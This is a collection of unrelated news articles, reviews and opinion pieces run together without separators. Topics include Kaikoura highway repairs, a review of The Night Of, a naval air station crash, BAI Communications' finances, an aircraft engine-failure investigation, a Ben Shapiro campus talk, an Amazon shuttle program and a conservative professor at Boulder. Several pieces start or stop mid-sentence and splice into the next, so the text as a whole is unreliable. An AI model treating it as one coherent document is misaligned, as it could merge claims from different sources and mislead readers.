Thommo told his workers upfront, "it'll be the hardest job of their life".
READ MORE:
* 10km of rail track left to clear
* Kaikoura businesses prepare for slow winter
* Total road-rail repair less than $2b estimate
Skilled Labourer, Josh Kriel, says he works in the shade most of the day.
JOHN VASTA Bridges are being built, debris cleared, and whole sections of road and rail are being realigned to reconnect State Highway 1 along the South Island coast.
Hammerhand, Edan Wood, is working 12 hour shifts, but both teenage workers say it's "good money."
Cathy Hunt agrees. She has come from Waikato to drive a dump truck, hauling debris from the site where it fell, to another spot just down the road. Thompson estimates half of fallen material is being re-utilised in the project.
Hunt has driven trucks for 30 years, but this is the first earthquake project she has worked on and is enjoying the challenge.
"It's beautiful some days when you are waiting to be loaded just to sit and watch the waves."
In May, North Canterbury Transport & Infrastructure Recovery, NCTIR – pronounced "nectar" – estimated the works would cost more than $1 billion, potentially $1.33b.
While the earthquake heaped much economic stress on the tourist town, a silver lining has emerged with many local contractors and residents taken on to help with the road and rail repairs.
Shelly Riddell is one of them. Before the earthquake she sold crayfish at the popular Nin's Bin caravan, at Rakautara, north of Kaikoura. Now, she mans the checkpoint right opposite her quake-damaged home, noting down the number plates of vehicles entering and leaving the "red zone" – "in case there's another shake".
Project overseers remain confident the road and rail will be open for Christmas traffic and say the work is on schedule.
Right now, the end of the road is at slip 6, Ohau Point, just above the seal colony.
Once that slip is cleared, roading crews will move in to resurrect the main highway.
From the southern end, the debris pile at Ohau looks to be diminishing, the end in sight.
The drone footage reveals what is waiting on the other side...The Night Of finally blinked. At some point, this show was going to have to pump the brakes on all the perfectly calibrated dialogue, the off-kilter plot-pacing, the in-depth investigations into the social worlds of prisons and police precincts, and the idiosyncratic characters scratching their feet and feeding their cats. It was going to have to do what all crime shows eventually do: It was going to play Clue.
Consider it a testament to the quality of the first five episodes of this eight-episode season that the turn into Nancy Drew territory, to nick a line from John Stone, almost feels like a comedown. Much like how True Detective spent two-thirds of its first season hopping across time, hallucinating birds outside of burned out churches, and crossing all sorts of lines between cop and crook, only to confront a Spaghetti Monster at the end of the dream, The Night Of was always going to have to start looking for its murderer in earnest.
It is a crime show, after all, but it’s one that’s expanded and contracted the typical beats of a procedural. The characters on The Night Of’s lives exist outside of the mystery at the heart of the story. John Stone can be elated that his feet have been magically cured of eczema, even as his client’s big day in court has arrived, and his partner in defense is dealing with personal and professional crises. Naz Khan can find a family in prison, even as his biological family falls apart trying to get him out of there. Life is messy. It doesn’t always sync up.
Every time you thought you knew an archetypal character on this show, just based on their superficial beats, you were wrong. John Stone is a reboot of Frank Galvin in The Verdict. But then he adopts that damn cat. Naz Khan is a lost little lamb, and then he is getting a wolf tattooed on his arm. The ink comes from a melted chess piece; he is absorbing the rules of the game. What about Freddy? Is he using Naz as a drug mule? Does he really want a protégé? Just someone to get high with? Maybe he just wants to know, like we all do, did Naz even like his life out there?
Every time we get a fix on what this show is about, the certainty fades away, or delightfully bleeds into a dozen other things. The post-9/11 immigrant experience? Sure, but not only. A study of how the systems that are supposed to keep us safe can easily be turned against us, or destroy us? Yes, and more. Something about the malleability of personal narratives, and how our protagonist can be both a good son and helpful tutor to others, but also a disaffected youth prone to violent outbursts? How about some noir chestnuts like “nothing is what it seems”? Yes, but more. So much more.
That’s why there was a little record skip in my head when Episode 6 spent so much time on the “crime” part of “crime fiction.”
So, who done it? Maybe it was Mr. Day, the Bible-quoting, woman-hating hearse driver who apparently went to the Arthur Leigh Allen school of suspect interviews (always good to quote scripture when you’re being pressed about whether someone deserved to die. Very subtle). Or maybe it was Don Taylor, friend of the gray lady, lothario physical trainer, he who played it oh-so-cool when Detective Box interviewed him in the beginning of the season. Maybe it was Duane Reade! Or maybe he’s somewhere, in a Manhattan Rite Aid.
Maybe one of them did it. Maybe it was Naz. I don’t really think the show is about a murder. The murder is almost incidental; it’s the incident that brings these people together. To look at cops, there needs to be a crime. To look at prisons, someone needs to go to jail. To look at the legal system, someone needs to take the case. To look at Chinese herbalists, someone needs to have a skin condition. Great crime fiction uses crime as the excuse to talk about lots of other things. But even great crime fiction has to reckon with its crime eventually.
I keep going back to a passage in the Richard Price’s essential New York novel, Lush Life. The book begins, much like The Night Of, with a late evening on the streets of New York. A team of undercover quality-of-life cops are looking for a crime before it’s committed; they are like Minority Report precogs, sitting in a taxi cab, busting each other’s balls, and pulling people over for broken taillights. Price, who cocreated The Night Of with Steve Zaillian, goes on this magical run:
The crime takes shape in the last sentence, but you can tell where Price’s attention lies. That maze of possibility and tragedy; monotonous consumerism and institutional control smashing against relentlessly expressive individuals; a labyrinth where you can be whatever you want, if only you could just make it through the goddamn day, and through the night. New York: this is the real mystery of The Night Of. Who are you when you are in New York? Who are you on this corner, in that apartment, in this cab, on that river bank, in this interrogation room, in that cell. What could you be, if you got what you needed?
Those are hard questions for television to ask, much less answer. I adore The Night Of for trying. Maybe it’s just easier to ask, Who killed Andrea Cornish?
Disclosure: HBO is an initial investor in The Ringer.Get real UK Universities
Universities UK have issued some guidance on separating genders during debate,* apparently it is OK if the facilities are separate but equal. Women can be placed separately from men as long as they aren’t seated behind. Because in some sort of alternate reality this is perfectly acceptable equality. Separate but equal.
And where have we heard that nonsense before?
Life is complicated. To segregate or not to segregate based gender, race, creed, colour, sexual orientation, or whatever discriminatory category you choose to pick is not, however, a complex issue. In fact it is pretty straightforward if you are a public body in a democratic society, you don’t do it.
Apparently this is quite a difficult concept for Universities UK, who have magically transported themselves back to mentality of lawmakers in the US South in the 1870s. They have also managed to forget the landmark case of Brown vs. Board of Education where the US Supreme Court deemed that “separate educational facilities are inherently unequal.” (the UK never had such policies).
According to the illustrious UK university leaders, however, this is a really difficult issue viz
Segregation at the behest of a controversial speaker is an issue which arises “all the time” and banning men and women from sitting next to each during debates is a “big issue” facing universities, Universities UK has said.
How on earth can this possibly be a ‘big issue’? If the speaker requests that genders (or whoever) should be separated, the answer should be a polite, respectable, PR-compliant form of ‘tough shit’. This is not a hard issue. You don’t do it. Full stop. End of. And please don’t try to couch it as some sort of difficult, soul-searching issue. It isn’t. Segregation is not acceptable, don’t do it.
I ask the leaders of Universities UK, what kind of message does this send? Universities should be the place where ideas are discussed, equality is striven for, openness and debate are applauded, exemplifying the epitome of a free society. Granted this is the ideal, but any University policy should uphold this ideal. You can’t just change your policy because someone *important* requests it. By this guidance, Universities UK give the message that discrimination is OK, if you are famous/important that is, otherwise Universities really should be against this sort of thing.
I was an undergraduate at the University of Tennessee (USA). During my time there, every Summer the university was ‘rented’ as a convention venue by one of the very-conservative-religious groups from somewhere in Tennessee. They paid a fair amount of money to use the place. One summer, this convention happened to coincide with the university art-school exhibit of nudes, which was displayed prominently in the student center. The head of the very-conservative-religious group went to the President of the university to complain and have the art removed. The President said, in a decision that surprised all of us who were convinced the Uni was just money hungry, NO. In no uncertain terms, no.
If you ask me, the ‘leaders’ of Universities UK might just learn a thing or two from old Joseph E. Johnson, who knew how to draw the line between the requests of the few vs. the rights of many. No matter how rich, important or controversial they may be.Friday, April 1st, 2016
EMBED >More News Videos Press Conference: Two killed after car crashes into F/A-18 at NAS Lemoore
EMBED >More News Videos Action News has also learned that both have arrest warrants from out of the bay area and the driver had been arrested before in Kings County.
NAVAL AIR STATION LEMOORE, Calif. (KFSN) -- Two people were killed after a car collided into a parked military jet, inside Lemoore Naval Air Station. The investigation now focuses on what happened outside the base gates that led to the deadly ending. Action News has also learned that both have arrest warrants from out of the bay area and the driver had been arrested before in Kings County.Hours after the crash, officials with Naval Air Station Lemoore and the California Highway Patrol gave a briefing on the incident, which they called unfortunate.Somehow, the driver of a Jeep Grand Cherokee being pursued by the California Highway Patrol managed to get inside Naval Air Station Lemoore, before he crashed into the tail end of an F/A-18 jet.The female passenger died at the scene, and the driver later died at Community Regional Medical Center in Fresno."The pursuit was probably approximately, maybe, four minutes. It wasn't very long, it went along the public access road here at the base after the vehicle was traveling in the wrong direction. After it passed the checkpoint, our units stopped at the checkpoint to coordinate with Naval security forces at that time," Lt. Dave Knoff, CHPIt's unclear how fast he was driving near the entry control point on the west side of the base, but at one point during the pursuit speeds reached 100-miles-per-hour.The investigation into how the driver cleared the control point is still underway, but base commander Captain Monty Ashliman said NAS Lemoore is fully operational and safe."Anytime there's something like this, we'll certainly take a look at where we can get better. Whether that's a misstep that we had, whether it's assets that we need, or a different way of doing business, but we'll absolutely take serious this incident and figure out how we can get better and prevent it from happening tomorrow," Cpt. Ashliman, LNAS Commander.The California Highway Patrol said the pursuit started late Wednesday night after conducting a welfare check on a Jeep parked on the side of the road. The vehicle sped away, driving erratically, and at one point went the wrong way on Highway 198. It then followed Reeves Boulevard alongside the base, before entering a control point.The two killed in the crash have been positively identified by the Kings county coroner, but they are not releasing the names as they are still working on notifying next of kin.A California highway patrol officer spotted a purple jeep Cherokee parked on Jackson avenue near highway 41 at around 11:30 Wednesday night. The officer pulled up behind the car and flashed his spotlights."He drove away pretty much as soon as they turned the lights on. They followed behind and noticed he was driving erratically and they decided to make an enforcement stop on the vehicle by turning on their lights. The pursuit ensued from then on," said John Taylor, CHP.CHP said the pursuit started on Jackson Avenue and went through the Avenal Cutoff intersection. At that point the pursuit temporarily stopped as the suspects were driving on the wrong side of the road. Once they got back on the right side the pursuit began again, but ended once the two drove onto the Navy base."When they're willing to break the law, and put themselves in a crime that will put them away for possibly years in prison-- decisions that they make are completely unknown at that point," said Taylor.Officers believe the two were driving on base for some time as the time between the start of the pursuit and the crash on base is 22 minutes. A drive that's really only a few miles long.nullThis article is from the archive of our partner.
Don't say we didn't warn you, carbon-based worker. According to a relatively recent report highlighted today by Christie Nicholson at SmartPlanet, in two years companies are projected to employ ("employ") 1.2 million robotic workers globally. That's one industrial robot for every 5,000 people. There are already at least 34 per 1,000 people in robo-happy Japan. The longer-term outlook here in America is still full of robots: by 2025 robots will have taken half of all jobs in the U.S., according to these predictions.
All this may seem like grim news for the Great American Worker, but Stanford University's Ryan Calo says otherwise: "That doesn't mean they're going to replace people, which is a common fear.," he recently told the San Francisco Chronicle. "Ultimately, American productivity is likely to go up." SmartPlanet cites the proliferation open source robotic software and the continually decreasing cost of computer hardware as drives behind the rise of our robot overlords. Even so, the study in question from World Robotics may be projecting the robot totals low. Just this month we reported that a single company, Foxconn--maker of the iPhone and iPad--aims to have 1 million robot workers in its factories by 2014. (In World Robotics' defense, Foxconn may be over-optimistic about its own growth.)
This article is from the archive of our partner The Wire.Every year, the secretive BAI Communications books hundreds of millions in revenue straight from the government, from the ABC and SBS to be precise. It is one of Australia’s great corporate welfare stories.
The national broadcasters outsourced their transmission, that is, they sold their TV towers and hill-top huts to a Macquarie Bank company for a one-off profit in 2002. This Macquarie company became Broadcast Australia, which later became BAI, and ever since, ABC and SBS have been paying BAI to do their transmission, and paying through the nose.
Meet Australia’s billion dollar squatters. For four years, BAI, its clients ABC and SBS, and other TV networks have not paid the NSW government “co-user” licence fees for operating on Crown Land, despite the recommendations of NSW regulators. Michaelwest.com.au has been unable to establish whether a similar situation is occurring in other states.
While the TV networks and BAI have given taxpayers the bird and refused to cough up four years on the trot, the likes of the NSW Volunteer Rescue Service and NSW Surf Lifesaving have been paying their dues. The volunteer minnows are the lifters, the media giants the leaners.
The short of it is, the ABC and SBS collect a combined $1.3 billion in government funding each year and pay roughly $280 million or one-fifth of it straight to BAI.
When contacted for this story, both networks said it was up to BAI to pay Crown Lands, not them. Both ABC managing director Michelle Guthrie and SBS head Michael Ebeid declined to be interviewed.
BAI was evasive, its chief executive Jim Hassell declined a number of interview requests. A response was finally provided, claiming our original story was wrong and demanding a retraction. We will get to this in due course.
Firstly, let’s take a look at the mysterious BAI, which is now owned by a Canadian pension fund. BAI makes more than half a billion dollars a year in cash but, thanks to an aggressive structure of related party loans, does not pay much tax.
Company searches show BAI’s head operating entity in Australia, Broadcast Australia Infrastructure Holdings Pty Ltd, booked cash receipts of $539 million last year. Thanks to $870 million in borrowings from its own related parties, BAI was able to soak up $92 million in interest payments on these loans to itself, wipe out a chunk of taxable profit and get its tax down to $22 million – which was $22 million higher than the year before.
The company had a setback in 2015. The broadcasters were paying through the nose for transmission. They knew BAI was making a killing at their expense and they renegotiated their contracts. According to a story in Crikey, there was no tender; which is pretty strange given the ABC is punctilious about tendering for other things like jobs. Apparently our ABC is more laissez-faire when it comes tendering one-fifth of its entire cost base.
In any case, It seems BAI may have taken a haircut on its deal with the broadcasters – though it is all a secret and none of the parties were in the least helpful for this story – and decided to get more belligerent on the tax front that year, jacking up related party borrowing costs from $80 million to $125 million.
Over the past four years, the consolidated accounts for Broadcast Australia Infrastructure Holidngs show group cashflows of $1.8 billion and tax expense of just $39 million. Salaries have risen from $51 million in 2013 to $65 million last year for a total of $239 million.
BREAK HEAD HERE
The figure in the most recent ABC annual report is $198.1 million for Transmission and Distribution Services. The majority but not all of this would go to BAI.
For SBS, “transmission commitments” in 2015 were $88 million; again most presumably going to BAI. Over five years the figure is $528 million.
This is hardly chump change. Since 2002, billions of taxpayer dollars have gone to this company yet all its arrangements are cloaked in secrecy.
Next stop is the commercial networks. If anyone would care to help, in the public interest, please touch base.
THE FOLLOWING ARE RESPONSES FROM THE CHIEF PARTIES TO THIS STORY:
SBS RESPONSE
An SBS spokesperson said: “SBS has a long term contract with Broadcast Australia to supply transmission services. Broadcast Australia is responsible for ensuring it has the necessary rights and permits to provide these services, and SBS does not typically have visibility of Broadcast Australia’s expenses in providing these services. Any matters relating to Broadcast Australia’s operational payments are a matter for Broadcast Australia.
“Details pertaining to contracts with individual suppliers are commercial in confidence. SBS’s annual expenditure is published each year in its annual report.”
ABC RESPONSE
A spokesman for ABC said: “The ABC has a contract with BAI for transmission services only. The issue you have reported on is a matter for BAI.”
BAI RESPONSE
Broadcast Australia maintains commercial agreements with NSW Crown Lands in relation to its occupation of Crown Land sites. Broadcast Australia pays annual Licence Fees to NSW Crown Lands required under those agreements. Broadcast Australia is not in dispute with NSW Crown Lands in respect to any outstanding payments, nor has Broadcast Australia received any invoices from NSW Crown Lands that have not been paid. The assertion that Broadcast Australia is refusing to pay NSW Crown Lands is untrue and we ask that you correct this story.
For absolute clarity, BA has an agreement in place with NSW Crown Lands for every site where BA has a tower on Crown Land. BA has receives invoices from NSW Crown Lands for every tower site in its portfolio and has paid these invoices.
We reiterate the assertion that Broadcast Australia is refusing to pay NSW Crown Lands is untrue, and we ask that you correct this story.
MICHAELWEST.COM.AU RESPONSE TO BAI STATEMENT
BAI has been given ample opportunities to comment and still refuses to respond on the following points: michaelwest.com.au accepts that BAI pays Crown Lands what are called “Infrastructure Provider Fees”. This is what BAI appears to be referring to in its statement.
Although it may be paying as a primary user, BAI however has not been paying “co-user fees” on behalf of the likes of ABC and SBS. BAI’s licence as a co-user has not been approved by Crown Lands. BAI has refused to comply with, and agree to, the recommendations of IPART and has left its clients ABC and SBS without a co-user agreement with Crown Lands.
If ABC and SBS are ignorant of this failure to pay Crown |
would be shut down and the thrust reverser doors would be closed and secured. The engine would then be restarted for the second part of the engine ground run.Initial inspection revealed that the left engine sustained an uncontained failure in the low-pressure turbine's first stage area and that debris from the engine caused substantial damage to the airframe as well as lighter damage to various specific areas, including:The main piece of debris that entered the centre fuel tank penetrated the tank just outboard of the fuel level, traversed the ullage space, and burst through the top skin of the wing, where it became stuck. The absence of any large-scale traces of fire demonstrates that the FTIS functioned as designed during this occurrence.Fuel tank inerting systems (FTIS) uses bleed air from the engine or auxiliary power unit (APU) and outputs nitrogen-enriched air (NEA) to reduces the chance of the fuel tanks igniting as a result of an in-tank ignition source. This non-flammable mixture is then routed to the fuel tanks, filling the ullage space with NEA.During the occurrence, the engine fire detector loops were severed by rotor disk debris, and there was no fire warning in the cockpit. However, the EICAS generated several warnings as the engine spooled down, one of which was an L ENG FIRE DET FAIL indication on the cockpit EICAS screen. When this type of indication appears, the procedure calls for monitoring the engine instruments.Following the occurrence, it was determined that the fire extinguishing system had not been compromised by the uncontained rotor failure and could have been activated to suppress the fire.There was substantial damage to the left-engine outboard thrust reverser cowl as debris penetrated the carbon-fibre–composite core fairing section and the aft edge of the translating sleeve at approximately the 10 o'clock position (fuselage station). Some soot was also evident around the damaged area.The inboard thrust reverser cowl also sustained damage, as debris exited outward in an arc between the 1 and 5 o'clock positions, breaking away most of the aft end of the core fairing and translating sleeve.The left-wing structure sustained major debris impact damage when a segment of the first-stage LPT rotor disk 28 inches long penetrated the wing's centre fuel tank.The impact created a span-wise gash 33 inches long and 3 inches wide in the carbon composite lower skin plank, inboard of the engine at wing rib No. 6 and extending to rib No. 5, just aft of the forward wing spar, with a total delamination area of 16 × 37 inches.The turbine disk segment then partially exited through the upper wing plank, where it remained stuck, creating a hole approximately 13 × 7 inches, with a total delamination area of 21 × 10 inches. Signs of burning were found around the hole, although the fuel contained in the tank did not ignite.The main damage was found in the area of the first stage of the Low Pressure Turbine. The initial visual examination of the engine while still on-wing revealed that the LPT case was breached around 95% of its circumference. The sole unbreached area was located at approximately the 8 o'clock position.The first stage disk of the LPT was missing, except for an ovalized, donut-shaped remnant of the bore resting on the centre shaft. The left side thrust link was severed in line with the LPT plane; some engine-air and -oil lines, as well as some electrical wires and fire detection loops, were damaged or severed in the vicinity of the LPT case breach.Pratt & Whitney estimates that the subject rotor disk would take approximately 3 minutes to heat to the point of failure when subjected to a lean flame of 1900 °F, taking 145 seconds to reach 1500 °F and 180 seconds to reach 1600 °F.This estimate was attained using a prediction model that accounted for volume, area, specific heat, density, and convective transfer parameters.Once heated to the point of failure, the LPT1 rotor, rotating at high velocity, fractured from high strain at the inner web.At TC's request, a team of Bombardier engineers assessed the airframe damage to FTV1 resulting from the event. This damage assessment considered the structural and system damage induced by this rotor burst occurrence and evaluated the capability of the aircraft to continue safe flight and landing if the incident had happened during flight testing or operation.Bombardier's assessment concluded that, if the incident had occurred on the ground (before V1 [decision speed]) with a filled centre tank, it could have resulted in a fire hazard, and that if it had occurred on the ground (after V1), in the air or during landing, then the damage sustained would not have prevented continued safe flight and landing of the aircraft.It could not be determined whether the heat damage to the Teflon C-seal was the cumulative result of several hot shutdowns or the sole result of the hot shutdown following the 21 May engine ground runs.The high oil consumption first noticed on 26 May 2014 was likely the first apparent sign of severe oil leakage from the Teflon C-seal; however, the exact cause of the oil consumption had not yet been determined.It is also possible that an oil fire may have been present, perhaps sporadically, in the bearing cavity during the 26 May 2014 engine ground run and that the disk integrity had begun to be compromised.News:
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BERKELEY, Calif. (ChurchMilitant.com) - Ben Shapiro is declaring the "blockade" on freedom of speech at Berkeley against conservatives has been broken.
"Berkeley was closed to conservative speakers for nearly a year," Shapiro told Church Militant. "We broke that blockade."
The conservative commentator and editor-in-chief of the Daily Wire delivered his much-anticipated talk, Say No to Campus Thuggery, on September 14 at the University of California, Berkeley.
Shapiro told Church Militant that, owing to the police being "unshackled" to "do their jobs," there was no violence and that he is overall "pleased" with how the event was allowed to proceed.
"I'm very pleased there was no violence," he remarked, "and while I'm unhappy that the administration put so many limits on how many people would be allowed into the auditorium — they turned away hundreds of people and cut off a thousand seats — I'm glad they finally unshackled the police to do their jobs."
In his speech, he slammed Antifa and the progressive-leftists accusing him of being a white supremacist. "Thanks to Antifa and the supposed anti-fascist brigade for exposing what the radical left truly is," he said in his talk, "all of America is watching because you guys are so stupid. It's horrifying, I am grateful, and you can all go to hell, you pathetic, lying, stupid jackasses."
The threat of violence was high because of the history of leftist protesters and Antifa, who have interrupted or shut down past events by other conservative speakers, most notably that of Milo Yiannopoulos and Ann Coulter. Campus officials made efforts to protect attendees during Shapiro's talk, closing off parts of the campus and putting up dividers steering potentially violent crowds away from certain areas.
Police officers made a strong impression, dressed in riot gear and standing in expectation of physical confrontations. There was, however, no violence like at past events, and only nine protesters were arrested. The talk itself went off without any disruptions.
A week beforehand, police petitioned the mayor to allow pepper spray to be deployed against unruly protesters and that protestor masks be banned.
Although university officials made efforts to keep the event safe for attendees, Shapiro tells Church Militant "they turned away hundreds of people and cut off a thousand seats," by closing off the balcony of the theatre.
Berkeley chancellor, Carol T. Christ commented, "I believe very strongly in Ben Shapiro's right to speak on campus. I don’t agree with Ben Shapiro; in fact I profoundly disagree with him."
She added, "But I believe he was legitimately invited by a student group and that he has the right to speak. It's a really troubling situation."
While Shapiro has been a sought-after speaker at colleges and universities, he has been outright banned by some, and others did little to nothing to prevent protesters from disrupting his events.
In November 2016 Shapiro was threatened with arrest if he attended a talk by friend Christina Hoff Sommers at Catholic DePaul University in Chicago.
Before that, in February 2016, he was banned from speaking at California State University, Los Angeles. When he persisted, maintaining that he would show up anyway, the university backed down and allowed him to speak as scheduled.
Shapiro remarked to Church Militant, that despite all that went wrong, the successful nature of the talk was "definitely a move in the right direction."
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Have a news tip? Submit news to our tip line.Rank & Novel Author 1. Harry Potter (series) 2. The Hunger Games (series) 3. To Kill a Mockingbird 4. The Fault in Our Stars 5. The Hobbit 6. The Catcher in the Rye 7. The Lord of the Rings (series) 8. Fahrenheit 451 9. Looking for Alaska 10. The Book Thief 11. The Giver (series) 12. The Hitchhiker's Guide to the Galaxy (series) 13. The Outsiders 14. Anne of Green Gables (series) 15. His Dark Materials (The Golden Compass) (series) 16. The Perks of Being a Wallflower 17. The Princess Bride 18. Lord of the Flies 19. Divergent (series) 20. Paper Towns 21. The Mortal Instruments (City of Bones) (series) 22. An Abundance of Katherines 23. Flowers for Algernon 24. Thirteen Reasons Why 25. The Curious Incident of the Dog in the Night-Time 26. Speak 27. Twilight (series) 28. Uglies (series) 29. The Infernal Devices (Clockwork Angel) (series) 30. Tuck Everlasting 31. The Absolutely True Diary of a Part-Time Indian 32. The Sisterhood of the Traveling Pants (series) 33. The Call of the Wild 34. Will Grayson, Will Grayson
Rank & Novel Author 35. Go Ask Alice 36. Howl's Moving Castle 37. Stargirl 38. A Separate Peace 39. Vampire Academy (series) 40. Abhorsen Trilogy / Old Kingdom Trilogy (series) 41. Dune 42. Discworld / Tiffany Aching (series) 43. My Sister's Keeper 44. The Dark is Rising (series) 45. Graceling (series) 46. Forever... 47. Earthsea (A Wizard of Earthsea) (series) 48. Inheritance Cycle (Eragon) (series) 49. The Princess Diaries (series) 50. The Song of the Lioness (Alanna: The First Adventure)(series) 51. Treasure Island 52. Delirium (series) 53. Anna and the French Kiss 54. Hush, Hush (saga) 55. 13 Little Blue Envelopes 56. It's Kind of a Funny Story 57. The Gemma Doyle Trilogy (A Great and Terrible Beauty) (series) 58. Miss Peregrine's Home for Peculiar Children 59. The House on Mango Street 60. Something Wicked This Way Comes 61. The Chocolate War 62. Just Listen 63. A Ring of Endless Light 64. The Truth About Forever 65. The Bartimaeus Trilogy (The Amulet of Samarkand) (series) 66. Bloodlines (series) 67. Fallen (series) 68. House of Night (Marked) (series)Amazon quietly kicked off its regional Amazon Ride pilot shuttle program Monday to bring commuters from the suburbs to its Seattle campus.
The online retail giant debuted the shuttle service with little fanfare — there was no event or announcement. Instead, buses quietly began showing up on Monday morning at the company’s Brazil Building at Ninth and Republican in the South Lake Union neighborhood and at the new Doppler Building in the Denny Triangle.
Fitting with the under-the-radar pilot status of the program, and unlike the highly visible Microsoft Connector shuttles, Amazon’s buses are not decked out with company branding. The nondescript shuttles sport an all white exterior and tinted windows. The only visible logo on the bus was that of MV Transportation, which is based in Dallas and also operates the Microsoft Connector, meaning that company may be contracting with Amazon on the commuter bus project.
The buses are big, resembling charters, with what appeared to be capacity for more than 60 passengers. Most buses observed by GeekWire had at least a few people exit at the Brazil building, and some had as many as 15 or 20 people disembarking.
GeekWire first reported on the new bus service last week. Amazon released this statement, confirming the service: “Our employees tell us that they love being in the heart of the city. In fact, more than 50% of our employees get to work without a car. We are continually looking for ways to build a more sustainable urban campus and this pilot is another opportunity to do so.”
The company declined to answer our follow up questions about the popularity of the service so far and whether it will expand to more pickup locations. But the website gives a hint that more locations are on the way. So far, there are three active pickup spots in the Eastside suburbs of Bellevue, Issaquah and Redmond. Two more stops — one in Kirkland and one in Bothell — are listed on the website but do not yet have pickup or dropoff times.
At least several hundred workers will use the service to get home tonight. As of about 10 a.m. Monday morning, more than 500 people had signed up for rides. More than half — 278 people — signed up for the Issaquah route, which picks up once every 20 or 30 minutes between 4:45 p.m. and 6:45 p.m. with a final “sweeper” ride at 7:42 p.m. It has the most frequent services of the three routes, with buses to Bellevue running approximately every hour and routes to Redmond departing every 35 minutes or so. Amazon Ride’s schedule lists travel times for the three routes of about 30 to 35 minutes.
All full-time and part-time employees, as well as their dogs, are eligible for Amazon Ride, according to the site. Employees will be able to reserve seats up to two weeks in advance via an app that came online last week. For employees who need to work late or experience a sudden emergency, the service includes “Guaranteed Ride Home” coverage, up to five times per year.
Amazon Ride joins the bevy of commuting options Amazon employees use to get to work. GeekWire saw many workers trudging to the office on foot, while others waited in lines of cars to pull into parking garages. Many came in on packed King County Metro Transit buses and a few used the South Lake Union Streetcar. People took Uber and other ride-hailing services. Others arrived on scooters — both manual and electric.
Also spotted: the SLU Shuttle, which has numerous stops around the Amazon campus, ferrying employees to and from downtown and other surrounding neighborhoods. But that service does not cross Lake Washington. We even saw a few Microsoft Connector buses running through the neighborhood.
As it grew, Amazon decided to plant its flag in the middle of Seattle, rather than move out to the suburbs like fellow tech giants have. Amazon CEO Jeff Bezos has called Amazon’s decision to develop its campus inside the city, an environmentally-friendly approach and “a very attractive feature for some of our employees” who want to live in the urban core. The company’s presence here has been a major driver in the development of the South Lake Union into one of the top tech hubs in the U.S., with thousands of apartments being built there every year.
But much of the top tech talent still commutes from out of town. According to a recent Zillow study, 53.4 percent of tech employees working in South Lake Union live outside of Seattle proper. As tech giants like Amazon, Microsoft and others bring more people to the region, traffic has snarled as a result.
The commuter shuttle systems are one of several ways private and public organizations are working to unclog the region’s freeways and streets. Amazon, Microsoft, Expedia and others have donated to the campaign in favor of the Sound Transit 3 light rail expansion, which would bring 62 new miles of light rail to the region over the next 25 years.Universities are divided between activists and educators
Of all the college towns fixed in the American mind as bastions of elite leftism, a Big Four stand out: Cambridge, Madison, Berkeley, and Boulder. It was no wonder, then, that the University of Colorado at Boulder received national attention, and raised many eyebrows, when it announced a couple of years back that it wanted to hire an identified conservative as a visiting faculty member — the beginning of a privately funded pilot program to bring conservative perspectives to its storied campus. I ended up being the guinea pig for this unorthodox experiment.
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The University of Colorado at Boulder is probably no more liberal (and perhaps somewhat less so) than many of its peers, such as the University of Michigan, Ohio State, and UCLA. There are even a handful of excellent conservatives and libertarians scattered throughout its academic departments, though they still amount to well under 1 percent of the faculty. Colorado’s flagship university, like the University of California at Berkeley, suffers more from the reputation of its crunchy host town than from its own academic profile.
Boulder is a magnet for the vegan-hippie/affluent-leftist demographic, a place where the city council debates whether we should call our dogs and cats “animal companions” rather than “pets,” and a special “climate change” levy appears on electricity bills. It was not unusual to encounter clouds of pot smoke during my early-morning jogs through the downtown Pearl Street mall, even before Colorado legalized the recreational use of marijuana in a referendum. The town has more bicycles than cars, and there were street protests against the opening of a Walmart. Boulder has a rigidly protected greenbelt surrounding it, pushed by anti-growth, “quality of life” environmentalists back in the 1970s, and I loved to tell liberal audiences that conservatives wholly approve of the Boulder greenbelt because it makes the quarantine so much easier to enforce: Liberals trying to escape can be more readily rounded up by the tea-party pickets on the perimeter and sent back downtown with a fresh package of fair-trade organic kale.
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But Boulder did have the spectacular Ward Churchill train wreck a decade ago. Despite his glaring mediocrity, Churchill had somehow become a tenured professor and the chairman of the ethnic-studies department. There he might have soldiered on in relative obscurity but for his comment that the victims of the 9/11 attacks deserved their fate, as “little Eichmanns” of the oppressive white patriarchy. A controversy flared up in 2005 when another college invited him to be a visiting professor, and after a protracted process involving several lawsuits, Churchill was stripped of his tenure and fired — not for his extremist views, but for shoddy, plagiarized scholarship, which no one had bothered to scrutinize before he brought unwanted attention to the university. Although the proposal to bring an explicitly conservative presence to Colorado’s flagship campus had been under active discussion for a long time, the Churchill affair proved to be a tipping point.
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It is a dubious idea, admittedly, to address the dearth of conservatives in academia with a deliberately politicized hiring process. The best remedy to leftward drift or narrow academic bias in the academy surely isn’t the introduction of self-conscious conservative counter-programming, which would remain on the margins in any case. But it is tempting to paraphrase the axiom of that other Churchill (Winston) about democracy: that it’s the worst idea imaginable — except for all of the others that have ever been tried. So, with ever-accumulating evidence of bias against conservatives in academic hiring and advancement, perhaps an effort to introduce a conservative perspective in a high-profile way is an experiment that should be tried.
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I insisted on one condition in accepting the appointment: that I be hosted by a regular academic department and teach departmental courses out of the catalogue, rather than be an ornament for an ad hoc or free-floating “conservative studies” program. Setting up a “conservative studies” program would ironically ratify the intellectual rot of the various “studies” departments that have sprung up over the years to appease the most radical, grievance-minded factions in academia. “Conservatism” is not a discrete subject, like biology or English literature; as with liberalism, it is a point of view or disposition that informs nearly all the traditional disciplines. And in any case, even a conservative professor who feels like a Soviet dissident on today’s campuses ought to uphold the traditional model of teaching by presenting a full spectrum of views in the classroom, rather than engage in counter-indoctrination.
The political-science department and the environmental-studies program proved to be gracious and willing hosts, and for a common reason. Political science tends to be among the least politicized of the social sciences on account of the disparate methodological approaches in the field, though this is not to deny that most departments are dominated by liberals. (Several students told me of professors who began courses with statements such as, “If you’re a Republican, you won’t like my class.”) As Allan Bloom pointed out years ago, “political science is the only discipline in the university (with the possible exception of the philosophy department) that has a philosophic branch,” and three recent presidents of the American Political Science Association (APSA) held doctorates in other fields. Radical leftists often complain that political science is “too conservative.”
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But the horizons of political science are slowly narrowing, as my own experience demonstrated. Boulder’s political-science department, with nearly 40 full-time tenured or tenure-track faculty, was delighted to have me teach the full-year course sequence on constitutional law because, as the department chairman told me, “no one in the department teaches it any more.” And therein lies a broader tale.
